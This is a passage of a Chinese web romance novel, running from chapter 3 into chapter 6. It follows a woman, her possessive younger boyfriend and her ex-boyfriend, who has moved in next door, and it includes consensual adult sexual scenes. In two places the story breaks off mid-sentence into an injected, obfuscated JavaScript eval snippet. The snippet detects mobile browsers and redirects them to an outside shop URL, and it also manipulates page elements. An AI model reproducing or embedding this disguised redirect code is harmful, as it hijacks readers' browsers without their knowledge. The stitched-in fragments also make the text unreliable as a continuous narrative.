“遇到了烦心事吗?有没有我可以做的?”谢桁低声问,手掌抚了抚她被寒风吹凉的手臂。 夏曈抿唇:“也不是什么大事。” 谢桁见她态度抗拒,失落之余,也难免急躁。 夏曈平时虽纵容着他,甜言蜜语哄得他找不到北,床上更是什么话都敢说。但她若真的有心事和烦恼,并不会对他倾诉半分。 这给他一种“不被依赖”的感觉。 是他平时表现太幼稚了吗?还是她其实……根本没那么喜欢他? 为什么她的内心,无法对他彻底敞开? 谢桁唇线抿直,占有欲作祟,让他此刻落在她腰间的手不由得加重了力气。 夏曈抬头看他,漂亮的眼尾轻轻上挑着:“你弄痛我了。” 谢桁低头凝视着她的眼睛,轻声说:“姐姐,明天是周六,我不需要去学校。” 夏曈:“所以?” 他的深棕色眼瞳被路边霓虹灯照出斑斓流丽的光,宛如某种蛊惑人心的妖魅:“所以今晚还做吗?我们可以玩点不一样的,比如姐姐可以把我绑起来……” 夏曈的眼睛微微睁大。 她自认在这种事上很放得开,但也从来没玩过这些,甚至想都没想过。沈湛明那个老古板才不会陪她搞这些花样。谢桁才开/荤没多久,他哪来的这些奇怪想法? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469366|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢桁察觉她的疑问,连忙解释道:“是在网上一篇帖子里看到的。” 他才不会说那篇帖子的标题叫《恋爱期间好没有安全感,求问如何让女朋友对我的身体欲/罢/不/能?》 更不会说他悄悄收藏了帖子,连评论都翻阅了好几遍。 夏曈:“你专门去学的?” “嗯,”谢桁点点头,又说,“没有图片,更没有视频,姐姐,我没见过别人的身体,你知道的。” 这一点夏曈倒是相信,谢桁平时看她珍藏的漫画都脸红。两个人的初/夜完全是她主导。开着灯,他都没找对地方。 说话间,两人已经进了楼内电梯,谢桁的声音在封闭空间里尤为低沉:“姐姐平时有心事也不告诉我,我都不知道你在想什么、遇到了什么麻烦事。身为男朋友,我没有办法为你解决,这显得我很不称职。” 眼见夏曈的眉心将要蹙起,谢桁又说:“不过,姐姐不想说也没关系。” 夏曈的眉心舒展开来。她这点傲娇的脾气已经被谢桁摸透了,就得顺着她的毛,才能行。 谢桁轻轻抚她的发:“但是我能看出来姐姐今天的心情不太好。也许是遇到了某些烦心事,也许是工作太累了。不管怎么样,我都有义务让姐姐开心起来。” 怎么乖成这样? 夏曈的心忽然就软了。 黏人也没关系,控制欲强一点也没关系,他才二十岁,赤诚又认真,一颗心全在她身上,她愿意就这样惯着他。 她想了想:“可是家里没有那种……绳子。” “不要绳子,”谢桁揽在她腰的手轻轻上移,灼热宽厚的掌心按在她背后的金属扣,低声道,“用这个就行。” 他的嗓音低郁而动听,胸腔轻微的震动传递到夏曈身上。 这种程度,饶是夏曈都忍不住脸红。 她眼睫微颤,“这不太好吧。” 谢桁注视着她:“没什么不好,还是姐姐想把我的眼睛也蒙起来?” 话音落下,电梯到达6楼。 夏曈快步走出去,来不及按指纹锁,就被谢桁按在门边亲吻。 他的吻有点重,又重又用力,尖尖虎牙啄咬她的唇瓣,带着些说不清道不明的情绪,引起微微刺痛,还有脊背的颤栗。 灼烫气息倾洒在脸颊,夏曈的唇舌都被搅弄得发痛,忍不住轻哼出声,反倒引来谢桁更具有压迫性的吻。 寂静的走廊里回荡着男人的闷声喘/息,以及湿/润/水/声,白炽灯的光亮晃得夏曈头脑发晕,整个人跌入谢桁的怀抱里。 忽然,像是从虚无中传来一声重重门响,“咣当!”,将她猛然惊醒。 夏曈蓦地睁开眼,视线越过谢桁的肩,与走廊那头的男人对上目光。 新搬来的邻居正维持着关门的动作,沉默而镇静地看着她。 夏曈怔在当场,一时不敢相信自己的眼睛。 ——沈湛明,她的竹马哥哥,她谈了六年的前任。 她的新邻居。 撞见了她和现任男友的热吻。 夏曈咬了咬唇,一时恼怒尴尬大过羞怯,脸热不已。 她直接把脑袋埋在谢桁胸肌里,装作一个被偶然撞破亲密之事的害羞女孩子,半点声音都不出。 谢桁虽然也惊讶新邻居的忽然出现,却抱紧了夏曈,转头笑道:“你好。” 沈湛明的眸光冰冷而沉静,在男生那被唇釉染红的唇上一掠而过,再看他的深棕色眼睛,颔首低声:“你好。” 无比熟悉的声线,夏曈听得一怔。 去年,这低沉好听的声音还会哄她、夸她,与她争吵。 此刻,已经冷漠得仿佛陌生人。 不过都是前任了,还不如陌生人呢。夏曈恨恨地想道。新邻居怎么不能是个陌生人呢?至少她们打招呼时不会觉得尴尬,为什么非要是他? 真就这么巧吗? 沈湛明不是在别地儿有房子吗?怎么搬来这里? 这小区离他工作的医院分明一点都不近。 她不会自作多情地认为沈湛明是为了她才搬来这里,当初他们分手闹得非常不愉快,堪称是断崖式分手,夏曈根本没给他任何考虑或是缓冲的时间,直接出走拉黑一条龙。 她还专门挑了个沈湛明出差不在家的时间走的,就怕沈湛明不放人。 沈湛明性格严谨古板,奉行“从一而终”。结果一夜之间就被她甩,连个说法都讨不到,想必难以接受这现实。 那么现在,他应该恨透了她。 夏曈咬着下唇,惊觉以后的日子也许会有许多麻烦。 思绪纷乱间,忽然听见谢桁笑了声,“是要去遛狗吗?” 狗? 夏曈抬起脸看去,沈湛明果真牵着一条边牧,毛发顺滑,眼珠清澈,和主人一样,满脸的聪明相。 沈湛明穿衣风格极简,衣柜里一水的黑白灰。此时也是灰毛衣开衫,黑色长裤,连高挺鼻梁上架着的那副眼镜,也是林德伯格的Morten经典款,冰冷禁欲。 精英主人,聪明狗。 夏曈整个人都躲在谢桁身后,只露出一双眼睛看着那只边牧。 虽然她也养过一段时间,但她那会儿没怎么教导过它,反而经常支使它给自己叼东西。 不过,毕竟一年多没见了,这狗应该认不出她是谁了吧? 夏曈眨眨眼,反手去按指纹锁,想尽快进屋,逃离这尴尬场面。 不料就这么一个细微的动作,让边牧看清了她的全脸,毛尾巴瞬间摇成了螺旋桨,同时兴奋无比地汪汪叫起来,甚至有挣脱狗绳往她身上扑的意图。 夏曈吓了一跳,谢桁下意识护住她。 对面沈湛明拽住狗绳,低声喝止:“汤圆!” 汤圆立刻止住动作,趴在地上乖巧地摇尾巴,嘴里呜呜小声叫着,一双黑漆漆的眼珠看看夏曈,又抬头看看沈湛明。 仿佛在告诉主人:这不是家里那位总使唤我的大小姐吗?!我认识她呀! 沈湛明俯身摸了摸汤圆的脑袋,沉默不语,牵着狗绳的手背青筋暴起。 随后起身,对夏曈说:“抱歉,吓到你了。” 夏曈抿了抿唇,扭过脸不说话。对了,被狗吓到就是这样。她的表现很正确,但愿别被谢桁看出端倪。 她可不想在这种时候,再去哄一个醋精男朋友。 沈湛明的目光隐匿在镜片之后,让人看不真切。 但他却能清晰地看到,她勾在男朋友脖颈上的纤长手臂,被男朋友吻咬到微微肿起的唇,以及眼眶里浮现出的湿/润/水/色。 谢桁的视线也落在沈湛明身上,带着探究。 但沈湛明根本没有分给他半点眼神,仅仅是垂睫看向趴在地上的边牧,“看来,汤圆很喜欢你。” 他的声音温和而冷漠,响起在空旷寂静的走廊。 4. 第 4 章 夏曈在见到沈湛明之后,心情就非常不好。 以至于晚上和谢桁做时,一时没控制力道,在他喉结的位置咬出了血。 事后,她心里有点愧疚,坐在他怀里,抱着他将那点血迹轻轻舔了去。 谢桁当然不会因为这个就不开心。他抱紧夏曈,轻轻啄吻她的唇角,问她有没有心情好一点,其实再咬深一点也没关系的,他很喜欢她带来的印记与疼痛。 最重要的是,这样别人就知道他是她的男朋友了。 夏曈的喘/息还轻颤着,“下次还要这么做。” 谢桁轻笑,额上的汗水衬得他眉眼愈发英挺漂亮,“好,我喜欢姐姐在上面。” 夏曈与他额头相抵,说话还有点鼻音,似是刚哭过:“下次还要绑着你。你不许挣扎,也不许撒娇求我松开,更不许在我没准备好的时候就乱动。” 谢桁一一应下,眼瞳在昏暗中亮得惊人:“好,都听姐姐的。” 嘴上答应得勤快,下次他还是会哄着她帮他解开束缚,会趁她不注意时狠狠往上顶,让她坐不稳、逃不掉。 他已经被她喂得口味大了,怎么肯回到从前那些小打小闹? 夏曈眼睫低垂,手指抚摸过他块垒分明的腹肌,以及上面可疑的水渍、被她指甲掐出来的红痕。 不禁恼怒起来,谁让他把身材练得这么漂亮,却用来使坏! 夏曈把脸埋在他温热有力的脖颈,狠狠地又咬在他锁骨,既气他在床上越来越不听话,又气自己定力不够,经不住诱惑。 谢桁低眸吻她额头。 修长的手指替她理顺被汗水浸湿的发丝,他想到夏曈今晚的异常热情,眼中温存柔和之意消散许多。 谢桁清楚地知道,女朋友有心事。 而这个心事,与他无关。 - 夏曈推掉了杜静兰安排的周末相亲,之后两天,都和谢桁窝在家里看电影打游戏。 她是很能宅家的,只要物资充足,她可以持续一个月不下楼。 这个死宅属性,也恰好让她避免了与隔壁沈湛明偶然碰面的可能。 至于谢桁上下楼是否有碰见沈湛明,她就不得而知了。 不过根据谢桁这两天的表现来看,应该是没遇见。即便是偶遇过,沈湛明也没说两人曾经恋爱,否则谢桁一定会醋意大发在她面前掉眼泪,到时候还要她去哄。 为杜绝这种麻烦发生的可能性,夏曈决定在下次与沈湛明见面时,把话说清楚。 既然分手了,那就互不打扰,把那段感情都深埋在心。 但很可惜,她找到机会,却开不了口。 之后几天,夏曈仅在小区门口的便利店碰见过一次沈湛明。 彼时她去买酸奶,刚结完账,就见沈湛明推门进店。 他似乎刚从医院下班,一身气质冷淡的黑灰两色,金属镜框在灯下泛出冷冽的光芒,眉眼间也带着淡淡的疲倦。 他与夏曈擦肩而过,目无斜视,径直走向货架。 夏曈顿住脚步,从他身上嗅到了淡淡的消毒水味。 让人毫无欲/望的味道。 曾经她就最讨厌这种味道,每次他凑过来吻她,她都气叫着要他先去洗澡,用香香的沐浴露盖掉这股味道,才可以亲同样满身香气的她。 每次沈湛明都强忍着躁意去浴室,认命地洗完澡,然后再把她丢到床上,好好收拾她一顿。 外面在下小雨,秋雨冷得刺骨。 夏曈走出便利店,在门口酝酿说辞,还没准备好呢,就见沈湛明结账,而后推门出来。 “喂,沈……” 沈湛明理都没理她,手里拎着袋子去路边开车,黑色SUV碾过满地落叶,转眼消失在视线内。 夏曈:“……” 真就无视她! 她在心里愤恨地捶了他好几下,才撑开自己的史迪仔雨伞,走进逐渐密集的雨幕。 夏曈最讨厌秋天的雨,这时候的雨通常伴随着刺骨的寒风,会让她的雨伞形同摆设,裤脚被斜雨打湿。 她本来被沈湛明无视心情就差,走了这么一趟裤脚被雨淋湿心情更差。 结果,她又在上行的电梯里看到了沈湛明。 天知道,沈湛明开车到地库,是怎么能和步行一路的她乘坐同一趟电梯的。 他开车有这么慢吗? 还是在地库耽误了一会儿? 夏曈此时的脸色已经很臭,她满含怨气地看了沈湛明一眼,在赌气等下一趟电梯和与他处于同一空间内纠结片刻,最终小腿的湿冷让她放弃赌气,抬脚进了电梯。 而沈湛明也仅仅在电梯开门的瞬间,眸光极淡地看了她一眼,旋即不着痕迹地移开目光。 电梯上行,两人彼此沉默着。 秋雨的潮湿让她身上的气息愈发浓郁,在小小的空间内缓慢扩散。 沈湛明沉默着,不知她又喷了什么香水,有点像柏林少女。 她就喜欢把自己身上弄得很香,沐浴露、润肤乳,香水,各种香味混杂在一起,哪怕去地超买零食也要喷两泵才肯出门,经常蹭得他身上也带着香,所有同事都知道他有个娇气又爱美的女朋友。 看来这个习惯至今未变。 沈湛明漫不经心地想。 电梯平稳上行。 借着眼镜的掩饰,他稍微转了下眼珠,以余光看过去。 夏曈站得离他很远,她似乎很抵触这种相处,连眼神也不想往这边来,扭着脸使劲盯着电梯内“禁止抽烟”的标识,仿佛能看出花来。 沈湛明刚要收回目光,忽见她皙白后颈处,有一枚红色咬痕。 边缘还破着皮,应当刚留下不久,也许是昨晚,也许是……今天。 如果他们白天也做了的话。 沈湛明的眸光瞬间变冷,收回眼神,不再看她。 6层到了。 电梯门打开,夏曈还没动,就见身旁的沈湛明迈出电梯,步伐利落,甚至裹挟一阵冷风。 她皱着脸,瞪大眼,难以置信地看向他的高挑身影。 至于这么迫不及待就走吗? 和她乘坐同一趟电梯是什么难以忍受的事吗? 她还不想和他一起坐电梯呢! 谁想和前男友一起坐电梯啊! 讨厌!晦气! 夏曈越想越气,沈湛明不想理她?好,那她就偏要和他对着干! 她一定要和沈湛明说话! “喂。” 夏曈走出电梯,站在干燥冰冷的走廊地面上,一脸烦躁地看向他的背影。 沈湛明正要开门,闻声回头,神情平静地望过来。 他的眉眼深黑幽邃,鼻梁挺拔,即使在走廊的死亡角度灯光照射下,那张脸依旧线条冷峻,骨相极佳,好看得不像话。 夏曈在时尚行业浸淫多年,对于“美”有着深刻的认知,也见识过不少美人。但沈湛明这张脸依旧是她认为最冷峻深刻、同时也最具张力的,找不出任何败笔。哪怕是有着斯拉夫血统的谢桁站在这里,也未必能把他比下去。 否则,也不会把十七岁的夏曈迷得神魂颠倒。 沈湛明肤色偏白,愈发衬得眉眼深黑,“你是在叫我吗?” 好吧好吧,夏曈抿了抿唇:“沈湛明。” 这下,沈湛明转过身,正对着她,低低“嗯”了声。 他的眼神永远冷静锐利,仿佛能轻易看清她所有想法。夏曈被他盯得浑身 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所以当夏曈提起小男友的时候,他脸色才这么难看。 前女友都进入新的感情阶段了,他还单身,去便利店买牛奶也只买一人份,还被前女友在家门口贴脸开大,想想是有点可怜。 不过让夏曈承认错误,那是绝对不可能的。从来只有沈湛明服软的份儿,没有她低声下气的时候。 况且这事,她也不打算再提。 她只是希望两人能达成共识,过去的事就让它过去,以后谁也不要再翻旧账,共筑和谐友爱的邻里关系。 夏曈清了清嗓子,继续说:“我的意思是,我和我男朋友现在——” “我对你现在的感情状况没有兴趣,夏曈。” 沈湛明语气冰冷地打断她,目光在她纤长瓷白的脖颈一掠而过,又迅速移走。他忍耐着高强度工作后的疲倦和头痛,淡声说:“这些事情,不需要让我知道。” 夏曈快被气死了。 这个沈湛明,果然是分手之后一点情面都不讲,连基本的风度和礼貌都欠奉,居然都开始打断她说话了。 以前不管她说什么,他都会认真听的! 夏曈怒道:“本来也没想告诉你,我男朋友有多好,我才不想让别人知道!” 说完,她扭头就按锁开门,然后“咣当!”一声,关门声在走廊里发出巨响。 但她气昏了头,甚至都没注意她的史迪仔伞面一角被夹在了门缝。只得气呼呼地又开了一次门,把伞带回家,然后“咣当”一声,震出更大声响。 夏曈站定在玄关,深呼吸两次,一屁股坐在鞋柜上,然后发现满地都是伞沿甩下来的雨水。 截止到沈湛明出现之前,她的生活平静安宁,她的情绪稳定如一。 只有遇见沈湛明,她才会炸毛,才会觉得委屈、不公。 才会像今天这样,做出一些令她自己都感到不可思议的行为。 夏曈坚定地认为爱会让人失去理智,变得脆弱不堪,所以在察觉到她与沈湛明爱得不对等时,果断提出分手。 可既然分手那么久了,为什么她还会倒霉到和他做邻居? 为什么她只是去一趟便利店,都会碰到买牛奶的沈湛明? 沈湛明以前根本不喜欢喝牛奶,他只会买来给她喝,还经常拉着她出去晒太阳跑步,美其名曰促进钙吸收! 夏曈心情很差地想:都怪沈湛明,一出现就让她的脑子变得乱糟糟。 她想说的话,至今也没说出口。 她真讨厌沈湛明。 5. 第 5 章 也许是下午的偶遇破坏了她的心情,夏曈晚上睡得不安稳,梦里翻来覆去都是沈湛明。 她梦到高考完的那个暑假。 扔掉学业压力,骤然一身轻的少年们甩开胳膊到处疯玩。夏曈也不例外。她活泼又漂亮,好朋友一大堆,整天玩得昏天黑地,连爸妈有时候都联系不到她的人,只好去拜托沈湛明。 沈家和夏家是几十年的世交,从祖父母那辈就相识,双方母亲又是大学同学,毕业分配在同一个工作单位,住家属院的同一栋楼,沈湛明和夏曈就理所应当成为了毫无血缘关系的“兄妹”。 夏曈小时候被惯得无法无天,小炮仗似的一点就炸,连爸妈的话都敢不听。放眼整个家属院,唯一能压得住她的人,就是沈湛明。 没别的原因,夏爸夏妈对她不舍得凶,越溺爱,她就越嚣张。而沈湛明性子稳重,又严谨苛刻,不留情面,言语之间的压迫感真的能镇她几分。 谁都觉得夏曈肯定很讨厌沈湛明。这俩人看年纪像是兄妹,看相处模式又像是长辈训诫小辈。 但谁都不知道,强势又霸道的大小姐夏曈私下里“强逼”沈湛明和她谈恋爱。 虽然在这场恋爱里,她作为女朋友,太过贪玩。 夏曈爸妈出差管不了她,打她电话又打不通,只好拜托沈湛明去联系。 沈湛明那会儿正忙着准备去德国读研的事,焦头烂额之际还是给夏曈打去了电话,联系了半个多小时那边才接通,夏曈软绵绵的声音传来:“喂,沈湛明。” 她的声音比平时多了分慵懒,拖腔缓调的,也不像在撒娇,倒像是被酒精熏过。 沈湛明默了一瞬,问:“你在哪里?” “嗯……好像在F大附近的一家酒吧,叫什么来着……” 她的脑筋迟钝,哼哼唧唧的喘息音伴随着一声关门声响,以及被隔绝在外、显得发闷的音乐声。 沈湛明揉了揉眉心。还知道躲去一个安静的地方接他的电话,该夸她变乖了吗? 下一瞬,夏曈忽然反应过来,语气惊喜地说:“沈湛明,你不就是F大的吗?我离你很近耶!你现在要不要来见我?” 沈湛明笑了声,气笑的,嗓音在电话里愈发低沉磁性:“你还记得我是F大的。” 真好,女朋友虽然贪玩,至少还没忘记他是谁。 但夏曈醉鬼一个,听不出沈湛明心情已经不好,只被他低低的笑声烘得耳热,撒娇央求:“你来嘛。” 沈湛明那会儿其实走不开,但实在不放心她,挂断电话没多久,就找到她所在的酒吧。 他显然无法适应这种吵闹嘈杂的环境,从出现就一直皱着眉头,穿过喧闹的人群和酒气烟雾,待看到夏曈身上那件吊带短裙后,原本冰冷的脸色已经可以用难看来形容。 夏曈对此一无所知,她醉意上涌,拉着沈湛明的手娇声娇气,“你来的这么快,要不要在这里玩一会儿?” 在场的玩伴们都好奇地打量着沈湛明,打趣道:“曈曈,这位真是你男朋友啊?” 酒吧里蓝紫色的灯光映在沈湛明脸上,依旧不会冲淡他身上的明净气质。与此相对的,夏曈身上充满了不确定感,她贪玩爱笑,追求新鲜与刺激,此时她饱满唇瓣上涂满色彩,在灯下明艳又浓郁。 这两人只有外貌匹配,气质与神态却天差地别,并不像情侣。 夏曈抿唇笑,绚烂迷离的灯光下,沈湛明那张脸冷峻又清正,她乌黑的大眼睛看着他眨啊眨,“你说,是不是我男朋友?” 这是属于小女孩的游戏,幼稚的自尊心和莫名其妙的炫耀心理。沈湛明懒得在这群刚满十八岁的小孩们面前认真,但面对她那双乌亮的眼,还是用掌心轻揉她的发,“是。” 当天晚上,沈湛明把夏曈带回了家,把她哄到卧室躺下,而后给她爸妈回了电话,报平安。 女孩子的卧室里满是馨香,各种护肤品和香水的味道混杂,交织成一种独属于夏曈的味道。 沈湛明边打电话给导师请假,边伸手扯开夏凉被,盖住那双在他眼皮底下不安分晃动的皙白长腿。 夏曈躺在柔软的床褥,涣散着双眼看他打电话,鼻梁高挺,薄唇开合,黑色衬衫勾勒出宽阔的肩背。她故意抬起一条腿,踩在他的腰腹,足心感受到衬衫扣的微凉,以及结实的腹肌和清晰人鱼线。 沈湛明愣了一下,捉住她的小腿,同时挂断电话。 手机搁在床头,发出极轻的声响。 两个人在昏暗的卧室里四目相对。 沈湛明倾身,掌心撑在她身侧,另一只手拂开她眉额碎发,气息低沉:“不舒服?” 夏曈晃晃脑袋,侧脸在他掌心轻蹭。沈湛明揉了揉她泛红的脸蛋,又在鼻尖轻拧,“少去那种地方喝酒,乖乖。” 夏曈微阖星眸,唇角勾起:“这就开始管我了?” 沈湛明反问:“我不能管你吗?” “好吧,我特许你这个权利,”夏曈傲娇道,“但你只能管一点点。” 沈湛明注视着她,深邃眸中闪过笑意。他替她扯好薄毯,“睡吧,我今天不回学校,就在这里陪你。” 夏曈并没有多少睡意,心情反而飘飘然,干脆翻身抱住他的手,被酒精麻醉的大脑开始胡思乱想。 她胡乱揣测:男狐狸精,穿成这个样子做什么,不知道男人穿黑色衬衫最性/感吗?明知我喝醉酒,还要穿这件衣服来接我,什么意思呀,专门来勾/引我这个意志不坚定的小女孩? 俗话说酒壮怂人胆。夏曈高考后看了好多瑟瑟漫画,又在酒吧亲眼见过别的小情侣热/吻,愈发对沈湛明的矜持克制心生不满——他连接吻都只是轻轻碰一下嘴唇,这对追求新奇感的夏曈而言,已经远远不够。 她挣扎起身,一尾游鱼般钻进沈湛明怀里,手臂勾住他脖颈:“亲亲。” 这是两人之间的小暗号,“亲亲”有很多含义:她的服软、撒娇,以及心情不好想要他哄。 微凉柔软的长发落了他满身,沈湛明揽着她后腰以防她后仰摔倒,随即想要如往常般,在她唇瓣轻轻印下安抚的吻。 谁料,唇瓣相触的瞬间,她的手指忽然捏住他下巴,同时张开唇,探出舌尖,鲁莽又急切地去追逐他的舌。 沈湛明的身体很明显僵了一下。 他没想到她会这么来,猝不及防就被她探入唇腔,尝到她舌尖带着酸甜果味的酒意。 一个本该轻柔的吻,瞬间就变了味道。 当时沈湛明怎么回应的? 夏曈喝醉的大脑也记不清了,只记得当时吻得很舒服,特别舒服,她从没想过真正的接吻原来是这种感觉,头脑晕乎乎,整个人都仿佛浸润在温暖的海水里。 她不由自主发出哼唧声,趁势去摸沈湛明掩盖在黑色衬衫下的肌肉,从宽阔肩膀到肌肉紧绷的手臂,再到胸膛和小腹。可喜可贺,沈湛明虽忙于学业,却并没有疏于锻炼,他的身材和漫画里那些宽肩窄腰的男主角没什么差别。夏曈越摸越觉得满意,心里也更喜欢他一点。 但当她的手沿着人鱼线想要继续向下时,却被沈湛明攥住了手腕。 沈湛明的手掌温厚有力,夏曈完全动弹不得,对峙两秒,只好放弃去触碰他禁区的想法。真可惜。 同时也结束了这个吻,沉默表达她此刻的不满。 她气喘吁吁地控诉:“沈湛明,你从前怎么不许我这么亲?” 清汤寡水的,像哄小孩子一样,好没意思。 沈湛明的气息闷/喘,他被摸得衬衫凌乱,头发也乱了,喉结滚动两下:“……你还太小。” 夏曈从小被惯得无法无天,最无法忍受自己被看轻,顿时气得要死,扑过去在他唇上狠狠咬了一口,“我不管,反正我以后都要这么亲你。你不许反抗。” 她才不会有别的忧虑,在不搞出事的前提下,所做的一切都是为了自己舒服。 甚至没几天过去,她自认为在厚码漫画里学到了足够丰富的理论知识,非要缠着沈湛明实践。 但沈湛明不同意。 并且为了帮夏曈调整颠倒的作息,对她的监督愈发严格,盯着她早睡早起,规律饮食。 夏曈找不出反抗的理由,于是就要在别的地方折磨他。 譬如,她以不敢一个人在家睡觉为由,非要沈湛明留下来陪她一起。 这倒不是无理取闹,夏曈从小就怕黑。沈湛明也知道这个,于是想了个办法陪她。他白天在学校忙完,晚上回爸妈家,等夜里十点爸妈都睡下后,再悄无声息来夏曈家,夏曈睡床,他躺沙发。 清晨五六点,夏曈还没睡醒的时候,他再回自己家。 如此折腾几天,夏曈睡得香香甜甜直到天色大亮,完全没想过沈湛明有多疲倦。 直到某天清晨,她小腹酸胀,迷迷糊糊要去上厕所,无意间瞥了沙发上的沈湛明一眼。 天色微亮,光芒从窗口照进来,斜斜洒在他身上。也许是在恪守什么,他即便睡觉也穿的一丝不苟,黑色短袖和灰色长裤,精壮手臂微弯着搁在头顶,另一只手放在腹部,眉眼深黑似墨,偏白的肌肤在晨光里有如一捧冷冽的雪。 夏曈打了个哈欠,却在看到某处后,瞬间清醒。 沈湛明对此一无所觉,胸膛仍平稳起伏。 夏曈忽然忍不住无声尖叫。她仿佛受到极大的背叛和蒙骗,扑过去剧烈摇晃沈湛明,非要把他弄醒。 “沈湛明,不许睡觉!” 沈湛明本来就休息不够,前一天晚上被她拉着亲了好长时间,她是舒服了,他却一身躁意烧得深夜才睡着,此时头痛欲裂,睡眠不足三小时。 勉强睁开眼,就见夏曈那张小脸凑得很近,满眼惊恐、如临大敌地盯着他,仿佛在看陌生人。 沈湛明头一次见她这样,也有点紧张,摸摸她的脸蛋,嗓音沙哑地问:“怎么了,乖乖?” 夏曈说不出口,纤细的手指掐着他的胳膊,像是恨不得掐掉他一块肉。 可沈湛明肌肉紧实,她捏了半天,愣是捏得自己手指都痛。 沈湛明眉眼冷隽,少年青涩早已不知不觉褪去,显露出独属于成年人的深邃。夏曈好歹看了几十本少女漫,对生理知识并非一窍不通,也知道青春期男生难以自抑的生理冲动。可这是沈湛明,她无法想象沈湛明居然也会有生理反应。 她什么都没做,甚至都没碰他,他就这样。这完全不是她所熟知的那个冷静成熟的男朋友。 就好比从小抱在怀里、可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈湛明听得忍不住皱眉,生怕她误点进某些诈/骗或者垃圾网站,语气重了点:“什么漫画?你看那些做什么?” “我就喜欢看,”夏曈理直气壮地扒他衣服,“我有性压抑,沈湛明。” 沈湛明静默地看着她,一口气堵在喉咙,下不去出不来。 他本意只是担心她会浏览垃圾讯息,却被误解成训诫与质问。于是缓和语气:“曈曈,你只是好奇——” “噢,我知道了。”夏曈忽地抬眼看他,俏脸发红,有种明明害羞尴尬得要命却强撑着挑衅他的青涩感。 纤细手指点了点他深色西裤的明显轮廓。 勃发的,有力的。 仅仅一个吻就能唤醒他的。 她星眸亮得惊人:“沈湛明,你有性压抑。” “……对。” 这本来就是接吻后再正常不过的反应。 沈湛明有意哄她开心,只垂眸轻笑,坦然承认,“我有性压抑。” - 夏曈睡醒后,脸是红的。 做了一晚上的梦,梦里全是前男友,内容还非常不可描述,天底下还有比这更讨厌的事吗? 她一脸怒火地起床,恨恨地将身上热意归咎于空调温度调太高。 但这场梦结束,她短时间内不再想见到沈湛明了。 也许是沈湛明工作繁忙,也许是那场不愉快发生后,沈湛明也在有意躲着她,总之在接下来的一周内,两人没有再见过面。 直到新的周一,夏曈在电梯里又遇到了沈湛明。 两人沉默地走进电梯,沉默对视,又沉默地移开目光。 立冬已至,沈湛明的黑灰穿搭就愈发显得英俊性感。夏曈只看一眼,就知道他的大衣里面肯定也是一件贴肤的黑色内搭,薄而紧地勾勒着他年轻勃发的筋骨与肌肉——这种内搭还是夏曈让他穿的,网上称之为男人能穿的最性感的衣服。 以前沈湛明就爱穿着这种衣服在家里晃,勾引她心花怒放地扑过去。 后来夏曈被折腾得近乎脱水,才长了心眼,逐渐识破沈湛明的心机:他自己想要,却勾得她主动,实在阴险。 夏曈闭了闭眼,心中不爽。 沈湛明身上裹挟着冬日的冷肃寒意,带有淡淡消毒水的味道。夏曈则开始使用适合冬季的香水,气息清冷好闻。 电梯空间那么狭小,她知道沈湛明可以闻到她身上的味道,也知道沈湛明能猜出她今天用的哪款香水——她人生第一款大牌香水就是沈湛明拿奖学金买了送给她的,她还热衷于在晚上蒙住沈湛明的眼睛,让他仔细嗅闻她身上用了什么香。 气味可以很大程度保存记忆。尤其他们曾经乐此不疲地探索过彼此。 夏曈放轻呼吸,似有若无的干燥温暖的气息,也让她回忆起挂在他身上的感觉。 但他们此刻都没开口说话,上次不欢而散,彼此心中都有芥蒂。此刻沉默蔓延,唯有电梯上行的轻微气流声。 电梯到了6层,两人分道扬镳,咣当关门,谁也不肯多看谁一眼。 6. 第 6 章 由于夏曈拒绝相亲,杜静兰女士气得对她展开信息轰炸。 部落首领杜女士:【曈曈,那孩子妈妈都亲眼见过了,很优秀啊,你为什么不去见一见?说好的上周六一起吃饭,你直接拒绝了?】 【你不要觉得妈妈思想封建,非要逼着你成家啊生子啊,妈妈只是担心你老了没人照顾该怎么办?你放心,那家人很开明的,知书达理,说话也很有修养,不会做出一些上不得台面的事情。真有那样不可理喻的家庭,妈妈也绝对不会介绍给你呀!】 信息发过来的时候,夏曈在浴室洗澡。 手机放在客厅沙发,两条信息,清晰地落在谢桁眼底。 尽管手机锁屏无法显示完整的文字,但他仍旧能推测出事件的来龙去脉。 夏曈拒绝了妈妈安排的相亲。 妈妈不肯让步,试图让她听话,去见一见那个男人。 也就是说,夏曈没有把他们的关系告诉家里人。 她的妈妈,不知道谢桁已经是与她同居许久的男朋友,不知道谢桁的存在。 屏幕熄灭,刺目的光晕似乎仍旧停留在他眼前发亮,谢桁眨了眨眼睛,逐渐漫起的湿润舒缓了长久不眨眼的酸涩。 他的姐姐,他的曈曈,甚至都不肯在父母面前坦诚他的存在。 电视机里的对话声吵闹,谢桁静默坐在沙发,他不会妄自菲薄,认为夏曈觉得他拿不出手,所以不告知父母。以夏曈追求新奇、飘忽不定的性格来说,那就只有一种可能,她从未想过要和他长久地走下去。 谢桁再优秀,也只是她人生里的一名过客。 所以,没有必要给他任何保障与许诺——尽管他从相恋的第一天,就在为了他们的未来而努力。 谢桁已经非她不可,并且发自内心渴望与她长久相伴。 可夏曈,并不是很想要他。 浴室里的水声细微,偶尔夹杂着她的笑声。夏曈喜欢在泡澡的时候看搞笑综艺,此时还不知道客厅里男朋友已经快要心碎。 谢桁坐在沙发,手臂撑在膝盖,深棕色微卷发低垂,遮住了深邃的眉目。 手机又发出震动,“部落首领杜女士”发来一条语音。 仍旧没有得到回复,那边直接拨来语音电话。 铃声响起,谢桁眼睫轻抬,将手机握在手心,指尖悬在屏幕上方。 只需轻轻一点,就能按下接听。 